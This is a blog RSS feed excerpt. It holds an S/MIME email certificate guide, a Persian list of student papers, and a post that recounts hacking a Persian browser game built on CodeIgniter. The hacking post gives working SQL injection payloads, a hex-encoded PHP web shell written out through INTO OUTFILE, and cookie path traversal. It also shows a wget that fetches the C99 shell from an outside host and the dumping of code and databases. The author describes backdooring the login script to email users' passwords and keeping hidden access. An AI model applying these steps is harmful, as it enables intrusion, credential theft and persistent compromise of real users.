<p dir="ltr">After downloading Thunderbird, we can at least see if a message is digitally signed, and if it&#8217;s signature is valid or not. With GMail and Yahoo&#8217;s web based clients, we only see a downloadable smime.p7s file!</p>
<p dir="ltr">The first time Thunderbird stars up, it asks for your email account credentials. Keep in mind that you can not use free Yahoo mail with Thunderbird or any other mail client (other than Yahoo&#8217;s web site), since they do not provide free POP3 or IMAP. Any other mail service is fine. After you enter your email credentials, Thunderbird automatically lists all your email settings, folders, and messages. There are also plenty of options to suit your particular needs. Now whenever you receive new email, Thunderbird informs you and you can easily see it, without the need to open a browser or even go online.</p>
<p dir="ltr">Next step is, to <strong>obtain an email certificate</strong> for our own email address. As I stated earlier on this post, Comodo is providing them for free to encourage secure email practice at :</p>
<p dir="ltr" style="text-align: center;"><a title="Comodo Free E-Mail Certificate" href="http://www.comodo.com/home/email-security/free-email-certificate.php">http://www.comodo.com/home/email-security/free-email-certificate.php</a></p>
<p dir="ltr" style="text-align: left;">The only thing that you have to enter correctly there, is your email address. All other fields are mandatory for a X.509 Certificate but are not checked against anything. After you fill the form, an email is sent to you, containing a link to receive your certified certificate. I suggest you visit this link with Mozilla Firefox, it makes thing a hell lot easier.</p>
<p dir="ltr" style="text-align: left;">You need to add this certificate to your system. If you&#8217;re using a Mac, it will be added to your Keychain, but on Windows, every application keeps it&#8217;s own list of certificates, the operating system also does the same. When you open the link in Firefox, a dialog pops up telling you that the certificate was successfully installed. Now you need to go to Tools -&gt; Options -&gt; Advanced -&gt; Encryption -&gt; View Certificates -&gt; Your Certificates and select it from the list, click Backup and save it somewhere on your computer inside a .p12 file (PKCS#12 Protocol). You need ot provide a password to encrypt the file, since it contains your private key as well as your certificate. Keep in mind NOT TO give this file to anyone, or they can legitimately forge you.</p>
<p dir="ltr" style="text-align: left;">Now in Thunderbird, Tools -&gt; Options -&gt; Advanced -&gt; Certificates -&gt; View Certificates -&gt; You Certificates press Import and select the file you just exported. You need to enter the password you used to encrypt it now, and once it is imported into Thunderbird, you&#8217;re all set.</p>
<p dir="ltr" style="text-align: left;">Now open a new mail window, click on the Security arrow in toolbar, click on &#8220;Digitally Sign This Message&#8221;. A seal icon is added to the bottom right of your message. You can&#8217;t encrypt your message yet, since you haven&#8217;t stored anyone else&#8217;s  public key in your Thuderbird. I suggest you send me your signed email, and I&#8217;ll reply it with my signed email, so you will have my public key and can send me encrypted email afterwards.</p>
<p dir="ltr" style="text-align: left;"><strong>Note:</strong> The first time you click on &#8220;Digitally Sign This Message&#8221; there&#8217;s a question asking you to setup certificates for your email address. Click yes and select your imported certificate from the list. This is necessary since Thunderbird can handle plenty of mail addresses at the same time, and has to know which certificate belongs to which one.</p>
<p dir="ltr" style="text-align: left;">Have fun sending/receiving signed and sealed email!</p>
<p dir="ltr" style="text-align: left;"></p>
<p dir="ltr" style="text-align: left;"><strong>Edit 1:</strong></p>
In case you&#8217;re using this with Apple Mail.app, you have to provide your admin password everytime you submit a signed mail. That&#8217;s because Mail.app will need to access your private key (in Keychain Access) to sign a message.

To fix this, follow the guides in this post: <a href="https://abiusx.com/certified-e-mail-with-comodo-and-thunderbird/">https://abiusx.com/certified-e-mail-with-comodo-and-thunderbird/</a>
<p dir="ltr" style="text-align: left;"><strong>Edit 2:</strong></p>
<p dir="ltr" style="text-align: left;">You should do all the steps using Firefox (either if you&#8217;re using Mail.app or Thunderbird). When you visit the initial certificate creation page, COMODO creates a private key and stores it in your browser, so after you get the email you should open it in the same browser, or you would see an error (private key not found). Also Firefox has easiest backup feature.</p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/certified-e-mail-with-comodo-and-thunderbird/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>How the browser MMO and CodeIgniter Hacked</title>
		<link>http://abiusx.com/asmandez-codeigniter-hacked/</link>
		<comments>http://abiusx.com/asmandez-codeigniter-hacked/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 16:33:24 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Blind SQL Injection]]></category>
		<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[CodeIgniter bug]]></category>
		<category><![CDATA[CodeIgniter Hacking]]></category>
		<category><![CDATA[CodeIgniter Remote File Inclusion]]></category>
		<category><![CDATA[CodeIgniter Security Flaw]]></category>
		<category><![CDATA[CodeIgniter vulnerability]]></category>
		<category><![CDATA[File Inclusion]]></category>
		<category><![CDATA[Forgot password]]></category>
		<category><![CDATA[ForgotPassword security flaw]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Hacking Scenario]]></category>
		<category><![CDATA[Hacking Tutorial]]></category>
		<category><![CDATA[Hash Cracking]]></category>
		<category><![CDATA[hash Salt]]></category>
		<category><![CDATA[help.asmandez.ir]]></category>
		<category><![CDATA[hex bypassing]]></category>
		<category><![CDATA[INTO OUTFILE]]></category>
		<category><![CDATA[Learn Hacking]]></category>
		<category><![CDATA[Learn information security]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[MySQL Into Outfil]]></category>
		<category><![CDATA[PHP Framework]]></category>
		<category><![CDATA[remote terminal]]></category>
		<category><![CDATA[Security Salt]]></category>
		<category><![CDATA[Session Hijacking]]></category>
		<category><![CDATA[SessionID]]></category>
		<category><![CDATA[SHA1]]></category>
		<category><![CDATA[SHA512]]></category>
		<category><![CDATA[shell access]]></category>
		<category><![CDATA[shell upload]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[SQLMap]]></category>
		<category><![CDATA[UNION Bypassing]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[WebScarab]]></category>
		<category><![CDATA[WhiteHat]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=696</guid>
		<description><![CDATA[This one is intended to be an educational/tutorial post on how I hacked an MMORPG web browser Persian game known as Removed From Text and along with it, the well known PHP framework CodeIgniter used for developing it. Reading this might help you learn a thing or two about information security. First of all, you&#8217;re [...]]]></description>
				<content:encoded><![CDATA[<p dir="ltr">This one is intended to be an educational/tutorial post on how I hacked an MMORPG web browser Persian game known as <del>Removed From Text</del> and along with it, the well known PHP framework CodeIgniter used for developing it. Reading this might help you learn a thing or two about information security.</p>
<p dir="ltr">First of all, you&#8217;re not encouraged at all to do anything against <del>Removed From Text</del>.com or any other CodeIgniter powered website using this technique or any equivalent technique. I am a world-class professional hacker and it&#8217;s practically impossible to track my actions in the Internet, I use well implemented anonymity/privacy networks and BOTNETs to perform my tasks and infiltrate systems in a way that&#8217;s very hard to detect.</p>
<p dir="ltr">Defacing any website &#8211; for any purpose &#8211; and/or stealing its private data it&#8217;s a felony in international treaties and therefore is condemned highly. The intent of this article is only educational.</p>
<p dir="ltr">* * *</p>

<h3 dir="ltr">Finding the vulnerability</h3>
<p dir="ltr">A few days ago, I visited <del>Removed From Text</del> to play an online web-based browser game which is purely Persian. I was well aware of the game and it&#8217;s developers, since I was the coordinator for their participation in 3rd Digital Media Fair of Tehran. I played for a while, and started thinking this might take a long time, so I decided to cheat.</p>
<p dir="ltr">Probing the site and its features for a while, I figured a <a title="SQL Injection" href="http://en.wikipedia.org/wiki/Sql_injection">SQL Injection</a> vulnerability in it&#8217;s &#8220;Forgot Password&#8221; feature. It&#8217;s worthy of note that SQL Injection vulnerabilities are usually found in the least attended, most obsolete sections of a website. Like a small polling dialog, or a forgot password dialog.</p>
<p dir="ltr"><img title="(ادامه...)" src="/blog/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
<p dir="ltr">The vulnerability which can be seen at<a href="http://asmandez.ir/main/forgetPassword"> http://<del>Removed From Text</del>.ir/main/forgetPassword</a> by entering <strong>foo</strong> as username and <strong>1&#8242; morgh</strong> as the password, brings up the following dialog at <a href="http://uc.asmandez.com/index.php/forget/index">http://uc.<del>Removed From Text</del>.com/index.php/forget/index</a> :</p>

<blockquote>
<div id="container" dir="ltr">
<h1>A Database Error Occurred</h1>
Error Number: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#8216;morgh&#8221; at line 1 SELECT `uid` FROM uc_users WHERE username=&#8217;foo&#8217; and email=&#8217;1&#8242; morgh&#8217; Filename: /var/www/universalcommander/models/forgetmodel.php Line Number: 17

<span id="more-696"></span>

</div></blockquote>
<div id="container" dir="ltr">

It&#8217;s actually a nice one, and seems to allow me to do visible SQL Injection attacks and pull out the entire application database, but it doesn&#8217;t (only because of a programmers bug which came to save them here), and I&#8217;ll describe the reason in a while. Googling around the error, makes one know that the infrastructure used in the site is in fact the famous PHP framework : <a title="CodeIgniter bug" href="http://codeigniter.com/">CodeIgniter</a> One might think that well-known highly-used PHP frameworks are bug free, but it&#8217;s not entirely true, as we shall see in the rest of this post. Replacing the entered email <strong>1&#8242; morgh</strong> with <strong>1&#8242; and 1=0 union select 1 &#8211;</strong> (note: there&#8217;s an space after &#8212; and also &#8216; is a single quote, wordpress tends to change it) to peform union-bypass SQL Injection, results in the following error:
<blockquote>
<div id="container">
<h1>A Database Error Occurred</h1>
Error Number: 1222 The used SELECT statements have a different number of columns SELECT `uid` , `username`, `email` FROM uc_users WHERE username=&#8217;foo&#8217; and email=&#8217;1&#8242; and 1=0 union select 1 &#8212; &#8216; Filename: /var/www/universalcommander/models/forgetmodel.php Line Number: 11

</div></blockquote>
<div id="container">

Oddly, this error is not about the same SQL query as above! This one is the same, but with the difference that it asks for 3 columns as result. This makes us unable to perform <a title="Union Bypassing SQL injection" href="http://hakipedia.com/index.php/SQL_Injection#UNION_Statements">union bypassing</a>, since one of the queries asks for 1 column and the other asks for 3, and we can only inject both in the same way, and we can&#8217;t ask for select 1,2,3 and select 1 at the same time (union requires both sides to have equal columns). Unfortunately, the programmers here have done something not logical which has prevented us from hacking this system and left us with only a <a title="Blind Injection" href="http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection">Blind Injection</a> vulnerability. Blind injections are much weaker and much slower, yet employing a powerful tool such as <a title="SQLMap" href="http://sqlmap.sourceforge.net/">SQLMap </a>I was able to run every <em>SELECT</em> query I desired on the server.
<h3 dir="ltr">Exploiting the vulnerability</h3>
Since CodeIgniter filters all dangerous characters in a HTTP GET request, I only probed for POST vulnerabilities. The one described above is also a POST SQL Injection vulnerability. To use POST vulnerabilities in SQLMap, you have to provide it with a HTTP Request file:
<blockquote>POST http://uc.<del>Removed From Text</del>.com/index.php/forget/index HTTP/1.1

Host: uc.<del>Removed From Text</del>.com

User-Agent: Mozilla/4.0 username=abiusx&amp;email=hacked@abiusx.com</blockquote>
With the following command line:
<blockquote>sudo python sqlmap.py -r requestfile.txt &#8211;sql-query=&#8221;PUT YOUR QUERY HERE&#8221; &#8211;dump</blockquote>
And SQLMap will do the rest, namely using blind injection to return result of your query. You can also use &#8211;tables, &#8211;databases, &#8211;passwords and etc. switches to ask SQLmap to list appropriate database stuff for you.
<h3 dir="ltr">Sapping some critical data</h3>
At this point, there are two kinds of information that are of extreme value for us to continue elevating ourselves. First are username/passwords and second are session information. Other types of data are not of much value since we can only perform SELECT queries and can&#8217;t change anything in the database. We have to seek administrator users and get our hands on their passwords, so that we can elevate ourselves and infiltrate the system in an administrative layer.

There is a well-established security practice, that you have to only store hashes of passwords (which is a one-way digest of the password) in your database, and not the actual passphrases. <a href="http://en.wikipedia.org/wiki/Cryptographic_hash_function">Hashes</a> are meant to be irreversible back to passwords, and every time a user tries to login, the hash is generated again and compared against the hash available in the database. Unfortunately, most Iranian developers don&#8217;t respect this practice and store the original passwords, thus hackers finding a simple SQL Injection are able to know all the passwords of all the users, and it&#8217;s a proven fact that, most users use the same password everywhere.

This was not the case though, and <del>Removed From Text</del> developers used hashes, and not only weak hashes such as MD5 (which are irreversible), they used strong hashes such as SHA512 with <a href="http://en.wikipedia.org/wiki/Salt_(cryptography)">Salting</a>, so that a hacker could not know password from hashes. To harden my practice, my favorite supercomputing service for breaking hashes (passcracking.ru) was also unavailable at the time. Failed to acquire some passwords, I headed to get some session information. First I logged into the website with my own user, changed my IP, and refreshed the page. Bingo, the site does not force IP Validation, so I can log in as any other user, while he/she is also logged in, and system won&#8217;t notice. To do some <a href="http://en.wikipedia.org/wiki/Session_hijacking">Session Hijacking </a>all I needed was a SessionID. I reaped through all database tables, searching for sessions, but found none. This amazed me so much, as nobody keeps sessions in files these days, that I started doubting I&#8217;m hacking the right server.
<h3 dir="ltr">My share of disappointment</h3>
I checked count of users, and it matched. I checked some other stuff and it seemed that some game information is not available in any of the databases, and there were many databases. That&#8217;s when I started doing this in terminal:
<blockquote>dig s2.<del>Removed From Text</del>.ir

dig s4.<del>Removed From Text</del>.ir

dig <del>Removed From Text</del>.com</blockquote>
</div>
<div id="container">Bingo! These sites are not hosted on the same server. I was hacking the wrong server all this time! I switched to the other server, which was the actual game server, and found out that the &#8220;ForgotPassword&#8221; feature is protected by a <a href="http://en.wikipedia.org/wiki/CAPTCHA">reCAPTCHA</a>. Now I was doomed, since blind injections won&#8217;t work with CAPTCHAs.</div>
<div></div>
<div>But I wouldn&#8217;t give up, since if there&#8217;s a single vulnerability in a website, there is indeed another.</div>
</div>
<div></div>
<div dir="ltr">Seeking some other obsolete features of the website, I figured out that they have i18n (Internationalization) and provide both English and Persian versions of the website. i18n is a very tricky feature and since it&#8217;s not used widely and tested well enough, usually has bugs here and there.</div>
<div dir="ltr">I did some <a href="http://en.wikipedia.org/wiki/WebScarab">WebScarab</a> on the i18n feature, and figured out that when I click the Iran flag, it sends &#8220;FA&#8221; to the server and when I click the UK flag, it sends &#8220;EN&#8221;. Well what if I sent something else intentionally? I used FireBug+FireCookie to change my &#8220;Language&#8221; cookie from &#8220;Farsi&#8221; to &#8220;Morgh&#8221;, since the application seemed to keep language preferences in the cookie, and voila:</div>
<blockquote>
<div dir="ltr">
<div id="content">
<h1>An Error Was Encountered</h1>
Unable to load the requested language file: language/morgh/general_lang.php

</div>
</div></blockquote>
<div dir="ltr">
<div id="content">

What does it mean? It means that language phrases are stored in files in the appropriate language folder, e.g &#8220;farsi &#8221; sentences are stored in &#8220;language/farsi/*&#8221;. This error opens up the possibility of a <a href="http://en.wikipedia.org/wiki/Remote_file_inclusion">File Inclusion</a> attack. From the previous error I figured that files are stored in <strong>/var/www/<del>Removed From Text</del>/application/language/farsi/</strong>. Now all I had to do was to store my desired code somewhere in the server (the hard part) and point the language loader to it. This time I changed the language from <strong>morgh</strong> to <strong>../../../../../tmp/</strong> so that the absolute language path would become:
<blockquote>/var/www/<del>Removed From Text</del>/application/language/../../../../../tmp/general_lang.php</blockquote>
Which is in fact in terms of operating system paths:
<blockquote>/tmp/general_lang.php</blockquote>
I chose /tmp since it has full write accesses for everyone, and I could put some file there much easier.
<h3 dir="ltr">MySQL is much better than MS SQL, yet not impenetrable</h3>
As I told you before, I couldn&#8217;t do some blind injection to enumerate database information, but I could still run SQL queries. Out of all possible queries, I chose this injection:
<blockquote>&#8216; and 1=0 union select &#8220;&lt;?php echo shell_exec($_REQUEST[q]); &#8221; into outfile &#8220;/tmp/general_lang.php&#8221; &#8211;</blockquote>
This one is very tricky, what is does is, it uses union bypass on the first query (remember, the second programmer&#8217;s bug &#8211; aka query &#8211; expected 3 columns) to store the string <strong>&lt;?php echo shell_exec($_REQUEST[q])</strong> as the result of a SQL query into the file &#8220;/tmp/general_lang.php&#8221;. The string is actually a valid PHP code, that runs everything it receives in the operating system terminal (they used Ubuntu). This query also pops the same error we got on our first server, but this time it does its trick and makes the file. Now I simply refreshed my login page&#8217;s source code, only to encounter the following:
<blockquote>
<pre id="line1">0 &amp;lt;?php echo shell_exec&amp;#40;$_REQUEST[q]&amp;#41;</pre>
</blockquote>
It seems that CodeIgniter had some other tricks up it&#8217;s sleeve, it changed &lt; and ( ) characters to their equivalent <a href="http://en.wikipedia.org/wiki/Html_entities">HTMLEntities</a> to prevent XSS and similar attacks. It actually took me a while to figure out it was the framework&#8217;s doing, I was thinking I made some mistakes first.
<h3 dir="ltr">Breaking the habbit</h3>
The good news was, I knew a way to bypass it. The bad news was, the /tmp/general_lang.php already existed and I couldn&#8217;t use MySQL&#8217;s <strong>into outfile</strong> to overwrite it. The other good news were, I still had a limited number of tries, since the application used a bunch of language files, not only &#8220;general_lang.php&#8221;. This time, I used <a href="http://www.string-functions.com/string-hex.aspx">an online string to hex tool</a> to get the hex equivalent of my supposed PHP code &#8220;&lt;?php echo shell_exec($_REQUEST[q])&#8221; which was 3c3f706870206563686f207368656c6c5f6578656328245f524551554553545b715d29 . Now I used the following query to make my new file:
<blockquote>
<blockquote>&#8216; and 1=0 union select unhex(&#8220;3c3f706870206563686f207368656c6c5f6578656328245f524551554553545b715d29&#8243;) into outfile &#8220;/tmp/races_lang.php&#8221; &#8211;</blockquote>
</blockquote>
This time, the mighty CodeIgniter could not filter my hex-encoded parameter so it left it as is, and MySQL took care of decoding it back to the actual code via <strong>unhex()</strong> function. Now I had a functional terminal access to the server, although with a limited user such as www-data. The rest of the process is piece of cake, yet I will describe it to you.
<h3 dir="ltr">Eating the Cake</h3>
I used the following commands to find a suitable spot to upload my actuall shell:
<blockquote>ls -la /var/www</blockquote>
Result was:
<blockquote>
<pre>-rwxrwxr-x 18 root root 4096 Feb 4 11:10 index.php 
-rwxr-xr-x 22 root root 4096 Feb 4 12:25 repairing.php 
drwxrwxr-x 1 root root 0 Jan 2 12:31 system</pre>
<pre id="line15">drwxr-xr-x 5 root root 4096 Feb 5 15:11 <del>Removed From Text</del>
drwxr-xr-x 21 root root 4096 Oct 20 15:33 <del>Removed From Text</del>Game2--
drwxr-xr-x 3 root root 4096 Oct 12 15:38 <del>Removed From Text</del>Game2~~ 
lrwxrwxrwx 1 root root 8 Sep 4 13:15 IptV -&gt; <del>Removed From Text</del> 
drwxrwxrwx 10 sshadmin sshadmin 4096 Jan 2 12:54 azOld 
drwxrwxrwx 8 root root 4096 Feb 4 05:21 azpanel 
drwxrwxrwx 10 root root 4096 Oct 19 19:55 chat. 
drwxr-xr-x 2 root root 4096 Oct 15 14:00 email igniter 
drwxrwxrwx 7 root root 4096 Feb 4 05:16 help 
drwxrwxrwx 5 www-data www-data 4096 Oct 26 19:54 helptest 
drwxrwxrwx 4 www-data www-data 4096 Oct 19 19:28 help~ 
-rwxrwxr-x 1 root root 177 Sep 4 2010 index.html 
drwxr-xr-x 7 root root 4096 May 30 2011 register~ 
drwxr-xr-x 2 www-data www-data 4096 Feb 4 04:10 s5 
drwxrwxrwx 4 root root 4096 Feb 5 18:56 s5b 
drwxr-xr-x 4 root root 4096 Jul 6 2011 store-- 
drwxrwxrwx 3 www-data www-data 4096 Aug 2 2011 tools 
-rwxrwxr-x 1 root root 7491 Sep 9 2010 webmin.log 
drwxrwxrwx 7 root root 4096 Feb 4 12:29 wordpress</pre>
</blockquote>
Those folders who have &#8220;www-data&#8221; as owner, are totally workable for me. Also those with the access &#8220;rwxrwxrwx&#8221; have full write accesses for everybody, so I could also do my stuff in them. Let&#8217;s assume I used the folder &#8220;help&#8221;, which is accessible via the URL <strong>help4.<del>Removed From Text</del>.ir</strong>. How did I figure that out? Simply by reading the files in <strong>/etc/apache2/sites-enabled/</strong> with my tool and the command <strong>cat /etc/apache2/sites-enabled</strong>/*<strong></strong>. Now I used the following command to upload C99 (web-based terminal) to the server:
<blockquote>wget &#8220;http://www.Sh3LL.org/c99.txt?&#8221; -O /var/www/help4/shell.php</blockquote>
And simply access my beloved C99 shell at http://help4.<del>Removed From Text</del>.ir/shell.php . Now I headed for what I was most enthusiastic about, the source code of the online game! I&#8217;m one of top Iranian PHP developers, and I could develop an online MMORPG easily, but that would require lots of time and money, so I was eager to get my hands on their code, both to know what they did and to know their mistakes and help them back. I did the following commands to compress the whole /var/www folder and make it accessible via web, then downloaded it on my PC:
<blockquote>tar -zcvf /var/www /tmp/code.tar.gz # takes a few minutes, its 500 MB

ln -s /tmp/code.tar.gz /var/www/help/code.tar.gz</blockquote>
Then I removed the code (or maybe I forgot to?). Now I wanted the whole database to be able to run the game on another server, presumable my own system, but I needed MySQL root password for that. Don&#8217;t panic, the <del>Removed From Text</del> team made it easy, they had to put username/password of the database in /var/www/<del>Removed From Text</del>/application/config/database.php, and they intended to use root for their game, so I took the password from the file, and did the following:
<blockquote>mysqldump -u root -pROOTPASS &#8211;all-databases | gzip &gt; /tmp/mysql.tar.gz ln -s /tmp/mysql.tar.gz /var/www/help/mysql.tar.gz</blockquote>
And downloaded the whole MySQL data to my system as well (570 MB). The next step I took, was to change plenty parts of the source code, to allow me to cheat. For example, I put some backdoors to build my builds in less than a second, some to full my pool of resources, some to add money to me, and etc. The final step, was to obtain list of user passwords. Since there were 17000 users on the database, and their passwords were salted and SHA hashed, I didn&#8217;t dare pay for a supercomputer to break all of them, instead I changed the login script of the <del>Removed From Text</del> to email a copy of the username/password whenever a user logs into the system, and I have obtained 5000 username/password pairs since then.
<h3 dir="ltr">Epilogue</h3>
The tutorial described in this post, was actually performed by me. Some of the steps required lots of thinking and caution, to prevent me from being tracked and to prevent my chances being ruined (like in language files scenario). I have to disappoint you right here and now, by telling you that I contacted the <del>Removed From Text</del> team and patched their software, so that it&#8217;s not insecure anymore (after all, I&#8217;m a <a href="http://en.wikipedia.org/wiki/Whitehat">white-hat</a>). I also forked my access to many parts of the server, notably SSH user/passwords, SVN credentials and other critical information so that under no circumstances, any security expert other than me could patch the server against my access. Have fun learning Information Security!

</div>
</div>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/asmandez-codeigniter-hacked/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>سندهای آموزشی مهندسی اینترنت</title>
		<link>http://abiusx.com/%d8%b3%d9%86%d8%af%d9%87%d8%a7%db%8c-%d8%a2%d9%85%d9%88%d8%b2%d8%b4%db%8c-%d9%85%d9%87%d9%86%d8%af%d8%b3%db%8c-%d8%a7%db%8c%d9%86%d8%aa%d8%b1%d9%86%d8%aa/</link>
		<comments>http://abiusx.com/%d8%b3%d9%86%d8%af%d9%87%d8%a7%db%8c-%d8%a2%d9%85%d9%88%d8%b2%d8%b4%db%8c-%d9%85%d9%87%d9%86%d8%af%d8%b3%db%8c-%d8%a7%db%8c%d9%86%d8%aa%d8%b1%d9%86%d8%aa/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 17:47:26 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[اینترنت]]></category>
		<category><![CDATA[کامپیوتر]]></category>
		<category><![CDATA[آجاکس]]></category>
		<category><![CDATA[آموزش اینترنت]]></category>
		<category><![CDATA[آموزش وب]]></category>
		<category><![CDATA[آژاکس]]></category>
		<category><![CDATA[بانک اطلاعاتی]]></category>
		<category><![CDATA[جاوا اسکریپت]]></category>
		<category><![CDATA[جاواسکریپت]]></category>
		<category><![CDATA[سی اس اس]]></category>
		<category><![CDATA[لایه برنامه]]></category>
		<category><![CDATA[مهندسی اینترنت]]></category>
		<category><![CDATA[وب]]></category>
		<category><![CDATA[وب سرور]]></category>
		<category><![CDATA[وب ۲]]></category>
		<category><![CDATA[پردازه نویسی]]></category>
		<category><![CDATA[پروتکل]]></category>
		<category><![CDATA[پی اچ پی]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=692</guid>
		<description><![CDATA[ترم پیش که حل تمرین مهندسی اینترنت بودم یک سری سند آموزشی توسط بچه‌هایی که پروژه تحقیقاتی رو انتخاب کرده بودند مهیا و سر هم شد. بالاخره بعد از چندین ماه گلچین و آپلود کردم و همشون در آدرس زیر قرار دارند. لیست این مقالات گلچین شده رو هم در ادامه مطلب قرار می‌دم: http://abiusx.com/ta/sbuie89b/project/research [...]]]></description>
				<content:encoded><![CDATA[ترم پیش که حل تمرین مهندسی اینترنت بودم یک سری سند آموزشی توسط بچه‌هایی که پروژه تحقیقاتی رو انتخاب کرده بودند مهیا و سر هم شد. بالاخره بعد از چندین ماه گلچین و آپلود کردم و همشون در آدرس زیر قرار دارند. لیست این مقالات گلچین شده رو هم در ادامه مطلب قرار می‌دم:
<p style="text-align: center;" dir="ltr"><a title="مقالات منتخب مهندسی اینترنت" href="http://abiusx.com/ta/sbuie89b/project/research">http://abiusx.com/ta/sbuie89b/project/research</a></p>
<p style="text-align: center;" dir="ltr"><span id="more-692"></span></p>
<a href="/file/ta/sbuie89b/research/samples/internet_usual_protocols_farsi_2011_belghadr_firoozabadi.pdf">
بررسی برخی از پروتکل‌های معمول در اینترنت</a>
<span>آرمین بلقدر، مسعود فیروزآبادی</span>
<a href="/file/ta/sbuie89b/research/samples/internet_usual_protocols_farsi_2011_arezoomand.pdf">
پروتکل‌های معمول اینترنت
و لایه کاربرد</a>
<span>فاطمه آرزومند</span>

<a href="/file/ta/sbuie89b/research/samples/internet_usual_protocols_farsi_2011_amirabadi_farahani.pdf">
اینترنت و پروتکل‌های رایج در آن
</a><span>ریحانه امیر‌ابادی فراهانی
</span>

<a href="/file/ta/sbuie89b/research/samples/web_protocols_part1_farsi_2011_belghadr_firoozabadi.pdf">
پروتكلها و تكنولوژيهاي مورد استفاده در وب (بخش اول)
</a><span>آرمین بلقدر، مسعود فیروزآبادی
</span>

<a href="/file/ta/sbuie89b/research/samples/internet_usual_protocols_farsi_2011_elmira_nezamfar.pdf">
پروتکل‌های معمول اینترنت (و پروتکل‌های لایه کاربرد)
</a><span>المیرا نظام‌فر
</span>

<a href="/file/ta/sbuie89b/research/samples/web2_overview_farsi_2011_fatemeh_elyasi.pdf">
وب 2، دلایل پيدايش، ويژگيها و چشم‌انداز
</a><span>فاطمه الیاسی
</span>

<a href="/file/ta/sbuie89b/research/samples/web2_overview_farsi_2011_zahra_vahidi.pdf">
وب ۲
</a><span>زهرا وحیدی فردوسی
</span>

<a href="/file/ta/sbuie89b/research/samples/Ajax-ArminBelghadr,MasoudFiroozabadi.pdf">
آژاکس
</a><span>آرمین بلقدر، مسعود فیروزآبادی
</span>

<a href="/file/ta/sbuie89b/research/samples/Ajax-ZahraHosseini,ElaheJalambadani.pdf">
آموزش آژاکس
</a><span>زهرا حسینی، الهه جلمبادانی
</span>

<a href="/file/ta/sbuie89b/research/samples/CSS-FarhangHoseini,MahdiJazayeri.pdf">
آموزش CSS
</a><span>فرهنگ حسینی، مهدی جزایری
</span>

<a href="/file/ta/sbuie89b/research/samples/CSS-ZahraHoseini,ElaheJalambadani.pdf">
آموزش CSS
</a><span>زهرا حسینی، الهه جلمبادانی
</span>

<a href="/file/ta/sbuie89b/research/samples/HTML,CSS,Javascript,WebServer-ElmiraNezamfar.pdf">
پروتکل‌ها و تکنولوژی‌های مورد استفاده در وب
</a><span>المیرا نظام‌فر
</span>

<a href="/file/ta/sbuie89b/research/samples/HTML,CSS,Javascript,WebServer-FatemeArezoomand.pdf">
پروتکل‌ها و تکنولوژی‌های مورد استفاده در وب
</a><span>فاطمه آرزومند
</span>

<a href="/file/ta/sbuie89b/research/samples/HTML,CSS,Javascript,WebServer-FatemeDashti.pdf">
پروتکل‌ها و تکنولوژی‌های مورد استفاده در وب
</a><span>فاطمه دشتی
</span>

<a href="/file/ta/sbuie89b/research/samples/HTML,CSS,Javascript,WebServer-MehranGoli.pdf">
پروتکل‌ها و تکنولوژی‌های مورد استفاده در وب
</a><span>مهران گلی
</span>

<a href="/file/ta/sbuie89b/research/samples/InternetProtocols-MarzieKarimi.pdf">
پروتکل‌های اینترنت
</a><span>مرضیه کریمی نوری
</span>

<a href="/file/ta/sbuie89b/research/samples/InternetProtocols-ReyhaneAmirabadiFarahani.pdf">
وب ۲
</a><span>ریحانه امیرآبادی فراهانی
</span>

<a href="/file/ta/sbuie89b/research/samples/InternetProtocols-RositaRahimi.pdf">
پروتکل‌های اینترنت
</a><span>رزیتا رحیمی
</span>

<a href="/file/ta/sbuie89b/research/samples/Javascript-ZahraHoseini,ElaheJalambadani.pdf">
آموزش جاواسکریپت
</a><span>زهرا حسینی، الهه جلمبادانی
</span>

<a href="/file/ta/sbuie89b/research/samples/PHP-ZahraHoseini,ElaheJalambadani.pdf">
آموزش پی اچ پی
</a><span>زهرا حسینی، الهه جلمبادانی
</span>

<a href="/file/ta/sbuie89b/research/samples/ServerSideScripts-ArminBelghadr,SinaFiroozabadi.pdf">
زبان‌های پردازه‌نویسی تحت سرور
</a><span>آرمین بلقدر، مسعود فیروزآبادی
</span>

<a href="/file/ta/sbuie89b/research/samples/Web2-ArminBelghadr,SinaFiroozabadi.pdf">
آشنایی با وب ۲ و رویکردهای آن
</a><span>آرمین بلقدر، مسعود فیروزآبادی
</span>

<a href="/file/ta/sbuie89b/research/samples/WebDatabase-ArminBelghadr,MasoudFiroozabadi.pdf">
بانک‌های اطلاعاتی سرور
</a><span>آرمین بلقدر، مسعود فیروزآبادی
</span>

<a href="/file/ta/sbuie89b/research/samples/WebServer-ZeynabAbbasimazar.pdf">
سرورهای وب
</a><span>زینب عباسی مزار
</span>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d8%b3%d9%86%d8%af%d9%87%d8%a7%db%8c-%d8%a2%d9%85%d9%88%d8%b2%d8%b4%db%8c-%d9%85%d9%87%d9%86%d8%af%d8%b3%db%8c-%d8%a7%db%8c%d9%86%d8%aa%d8%b1%d9%86%d8%aa/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>L2TP on Ubuntu 10.04 LTS</title>
		<link>http://abiusx.com/l2tp-on-ubuntu-10-04-lts/</link>
		<comments>http://abiusx.com/l2tp-on-ubuntu-10-04-lts/#comments</comments>
		<pubDate>Tue, 10 Jan 2012 21:59:29 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
